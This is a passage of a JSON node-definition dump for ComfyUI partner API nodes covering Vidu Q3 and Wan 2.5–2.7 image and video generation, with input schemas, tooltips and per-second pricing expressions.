0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu3ImageToVideoNode", "display_name": "Vidu Q3 Image-to-Video Generation", "description": "Generate a video from an image and an optional prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $d := $lookup(widgets, \"model.duration\");\n $contains(widgets.model, \"turbo\")\n ? (\n $rate := $lookup({\"720p\": 0.06, \"1080p\": 0.08}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n : (\n $rate := $lookup({\"720p\": 0.15, \"1080p\": 0.16, \"2k\": 0.2}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu3StartEndToVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for video generation.", "options": [{"key": "viduq3-pro", "inputs": {"required": {"resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}, {"key": "viduq3-turbo", "inputs": {"required": {"resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}]}], "first_frame": ["IMAGE", {}], "end_frame": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt description (max 2000 characters).", "multiline": true}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "end_frame", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu3StartEndToVideoNode", "display_name": "Vidu Q3 Start/End Frame-to-Video Generation", "description": "Generate a video from a start frame, an end frame, and a prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $d := $lookup(widgets, \"model.duration\");\n $contains(widgets.model, \"turbo\")\n ? (\n $rate := $lookup({\"720p\": 0.06, \"1080p\": 0.08}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n : (\n $rate := $lookup({\"720p\": 0.15, \"1080p\": 0.16}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanTextToImageApi": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model to use.", "multiselect": false, "options": ["wan2.5-t2i-preview"]}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "width": ["INT", {"default": 1024, "min": 768, "max": 1440, "step": 32}], "height": ["INT", {"default": 1024, "min": 768, "max": 1440, "step": 32}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt"], "optional": ["negative_prompt", "width", "height", "seed", "prompt_extend", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanTextToImageApi", "display_name": "Wan Text to Image", "description": "Generates an image based on a text prompt.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/image/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.03}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanImageToImageApi": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model to use.", "default": "wan2.5-i2i-preview", "multiselect": false, "options": ["wan2.5-i2i-preview"]}], "image": ["IMAGE", {"tooltip": "Single-image editing or multi-image fusion. Maximum 2 images."}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt"], "optional": ["negative_prompt", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanImageToImageApi", "display_name": "Wan Image to Image", "description": "Generates an image from one or two input images and a text prompt. The output image is currently fixed at 1.6 MP, and its aspect ratio matches the input image(s).", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/image/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.03}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanTextToVideoApi": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model to use.", "default": "wan2.6-t2v", "multiselect": false, "options": ["wan2.5-t2v-preview", "wan2.6-t2v"]}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "size": ["COMBO", {"default": "720p: 1:1 (960x960)", "multiselect": false, "options": ["480p: 1:1 (624x624)", "480p: 16:9 (832x480)", "480p: 9:16 (480x832)", "720p: 1:1 (960x960)", "720p: 16:9 (1280x720)", "720p: 9:16 (720x1280)", "720p: 4:3 (1088x832)", "720p: 3:4 (832x1088)", "1080p: 1:1 (1440x1440)", "1080p: 16:9 (1920x1080)", "1080p: 9:16 (1080x1920)", "1080p: 4:3 (1632x1248)", "1080p: 3:4 (1248x1632)"]}], "duration": ["INT", {"tooltip": "A 15-second duration is available only for the Wan 2.6 model.", "default": 5, "min": 5, "max": 15, "step": 5, "display": "number"}], "audio": ["AUDIO", {"tooltip": "Audio must contain a clear, loud voice, without extraneous noise or background music."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "generate_audio": ["BOOLEAN", {"tooltip": "If no audio input is provided, generate audio automatically.", "advanced": true, "default": false}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}], "shot_type": ["COMBO", {"tooltip": "Specifies the shot type for the generated video, that is, whether the video is a single continuous shot or multiple shots with cuts. This parameter takes effect only when prompt_extend is True.", "advanced": true, "multiselect": false, "options": ["single", "multi"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt"], "optional": ["negative_prompt", "size", "duration", "audio", "seed", "generate_audio", "prompt_extend", "watermark", "shot_type"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanTextToVideoApi", "display_name": "Wan Text to Video", "description": "Generates a video based on a text prompt.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "size", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ppsTable := { \"480p\": 0.05, \"720p\": 0.1, \"1080p\": 0.15 };\n $resKey := $substringBefore(widgets.size, \":\");\n $pps := $lookup($ppsTable, $resKey);\n { \"type\": \"usd\", \"usd\": $round($pps * widgets.duration, 2) }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanImageToVideoApi": {"input": {"required": {"model": ["COMBO", {"tooltip": "Model to use.", "default": "wan2.6-i2v", "multiselect": false, "options": ["wan2.5-i2v-preview", "wan2.6-i2v"]}], "image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"default": "720P", "multiselect": false, "options": ["480P", "720P", "1080P"]}], "duration": ["INT", {"tooltip": "Duration 15 available only for WAN2.6 model.", "default": 5, "min": 5, "max": 15, "step": 5, "display": "number"}], "audio": ["AUDIO", {"tooltip": "Audio must contain a clear, loud voice, without extraneous noise or background music."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "generate_audio": ["BOOLEAN", {"tooltip": "If no audio input is provided, generate audio automatically.", "advanced": true, "default": false}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}], "shot_type": ["COMBO", {"tooltip": "Specifies the shot type for the generated video, that is, whether the video is a single continuous shot or multiple shots with cuts. This parameter takes effect only when prompt_extend is True.", "advanced": true, "multiselect": false, "options": ["single", "multi"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "image", "prompt"], "optional": ["negative_prompt", "resolution", "duration", "audio", "seed", "generate_audio", "prompt_extend", "watermark", "shot_type"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanImageToVideoApi", "display_name": "Wan Image to Video", "description": "Generates a video from the first frame and a text prompt.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $ppsTable := { \"480p\": 0.05, \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, widgets.resolution);\n { \"type\": \"usd\", \"usd\": $round($pps * widgets.duration, 2) }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanReferenceVideoApi": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["wan2.6-r2v"]}], "prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese. Use identifiers such as `character1` and `character2` to refer to the reference characters.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "reference_videos": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_video": ["VIDEO", {}]}}, "names": ["character1", "character2", "character3"], "min": 1}}], "size": ["COMBO", {"multiselect": false, "options": ["720p: 1:1 (960x960)", "720p: 16:9 (1280x720)", "720p: 9:16 (720x1280)", "720p: 4:3 (1088x832)", "720p: 3:4 (832x1088)", "1080p: 1:1 (1440x1440)", "1080p: 16:9 (1920x1080)", "1080p: 9:16 (1080x1920)", "1080p: 4:3 (1632x1248)", "1080p: 3:4 (1248x1632)"]}], "duration": ["INT", {"default": 5, "min": 5, "max": 10, "step": 5, "display": "slider"}], "seed": ["INT", {"default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "shot_type": ["COMBO", {"tooltip": "Specifies the shot type for the generated video, that is, whether the video is a single continuous shot or multiple shots with cuts.", "advanced": true, "multiselect": false, "options": ["single", "multi"]}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "negative_prompt", "reference_videos", "size", "duration", "seed", "shot_type", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "WanReferenceVideoApi", "display_name": "Wan Reference to Video", "description": "Use the character and voice from input videos, combined with a prompt, to generate a new video that maintains character consistency.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "size", "type": "COMBO"}, {"name": "duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate := $contains(widgets.size, \"1080p\") ? 0.15 : 0.10;\n $inputMin := 2 * $rate;\n $inputMax := 5 * $rate;\n $outputPrice := widgets.duration * $rate;\n {\n \"type\": \"range_usd\",\n \"min_usd\": $inputMin + $outputPrice,\n \"max_usd\": $inputMax + $outputPrice\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2TextToVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-t2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["INT", {"default": 5, "min": 2, "max": 15, "step": 1, "display": "number"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "optional": {"audio": ["AUDIO", {"tooltip": "Audio for driving video generation (e.g., lip sync, beat-matched motion). Duration: 3s-30s. If not provided, the model automatically generates matching background music or sound effects."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "prompt_extend", "watermark"], "optional": ["audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2TextToVideoApi", "display_name": "Wan 2.7 Text to Video", "description": "Generates a video based on a text prompt using the Wan 2.7 model.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2ImageToVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-i2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "duration": ["INT", {"default": 5, "min": 2, "max": 15, "step": 1, "display": "number"}]}}}]}], "first_frame": ["IMAGE", {"tooltip": "First frame image. The output aspect ratio is derived from this image."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "optional": {"last_frame": ["IMAGE", {"tooltip": "Last frame image. The model generates a video transitioning from first to last frame."}], "audio": ["AUDIO", {"tooltip": "Audio for driving video generation (e.g., lip sync, beat-matched motion). Duration: 2s-30s. If not provided, the model automatically generates matching background music or sound effects."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "seed", "prompt_extend", "watermark"], "optional": ["last_frame", "audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2ImageToVideoApi", "display_name": "Wan 2.7 Image to Video", "description": "Generate a video from a first-frame image, with optional last-frame image and audio.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps * $dur }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2VideoContinuationApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-i2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the elements and visual features. Supports English and Chinese.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "duration": ["INT", {"tooltip": "Total output duration in seconds. The model generates continuation to fill the remaining time after the input clip.", "default": 5, "min": 2, "max": 15, "step": 1, "display": "number"}]}}}]}], "first_clip": ["VIDEO", {"tooltip": "Input video to continue from. Duration: 2s-10s. The output aspect ratio is derived from this video."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "prompt_extend": ["BOOLEAN", {"tooltip": "Whether to enhance the prompt with AI assistance.", "advanced": true, "default": true}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "optional": {"last_frame": ["IMAGE", {"tooltip": "Last frame image. The continuation will transition towards this frame."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_clip", "seed", "prompt_extend", "watermark"], "optional": ["last_frame"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2VideoContinuationApi", "display_name": "Wan 2.7 Video Continuation", "description": "Continue a video from where it left off, with optional last-frame control.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n $outputPrice := $pps * $dur;\n {\n \"type\": \"range_usd\",\n \"min_usd\": 2 * $pps + $outputPrice,\n \"max_usd\": 5 * $pps + $outputPrice\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2VideoEditApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-videoedit", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Editing instructions or style transfer requirements.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio. If not changed, approximates the input video ratio.", "multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["COMBO", {"tooltip": "Output duration in seconds. 'auto' matches the input video duration. A specific value truncates from the start of the video.", "default": "auto", "multiselect": false, "options": ["auto", "2", "3", "4", "5", "6", "7", "8", "9", "10"]}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4"], "min": 0}}]}}}]}], "video": ["VIDEO", {"tooltip": "The video to edit."}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "audio_setting": ["COMBO", {"tooltip": "'auto': model decides whether to regenerate audio based on the prompt. 'origin': preserve the original audio from the input video.", "advanced": true, "default": "auto", "multiselect": false, "options": ["auto", "origin"]}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "video", "seed", "audio_setting", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan2VideoEditApi", "display_name": "Wan 2.7 Video Edit", "description": "Edit a video using text instructions, reference images, or style transfer.", "python_module": "comfy_api_nodes.nodes_wan", "category": "partner/video/Wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $ppsTable := { \"720p\": 0.1, \"1080p\": 0.15 };\n $pps := $lookup($ppsTable, $res);\n { \"type\": \"usd\", \"usd\": $pps, \"format\": { \"suffix\": \"/second\", \"note\": \"(input + output)\" } }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan2ReferenceVideoApi": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "wan2.7-r2v", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Prompt describing the video. Use identifiers such as 'character1' and 'character2' to refer to the reference characters.", "default": "", "multiline": true}], "negative_prompt": ["STRING", {"tooltip": "Negative prompt describing what to avoid.", "default": "", "multiline": true}], "resolution": ["COMBO", {"multiselect": false, "options": ["720P", "1080P"]}], "ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "1:1", "4:3", "3:4"]}], "duration": ["INT", {"default": 5, "min": 2, "max": 10, "step": 1, "display": "number"}], "reference_videos": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_video": ["VIDEO", {}]}}, "names": ["video1", "video2", "video3"], "min": 0}}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {}]}}, "names": ["image1", "image2", "image3", "image4", "image5"], "min": 0}}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an AI-generated watermark to the result.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, 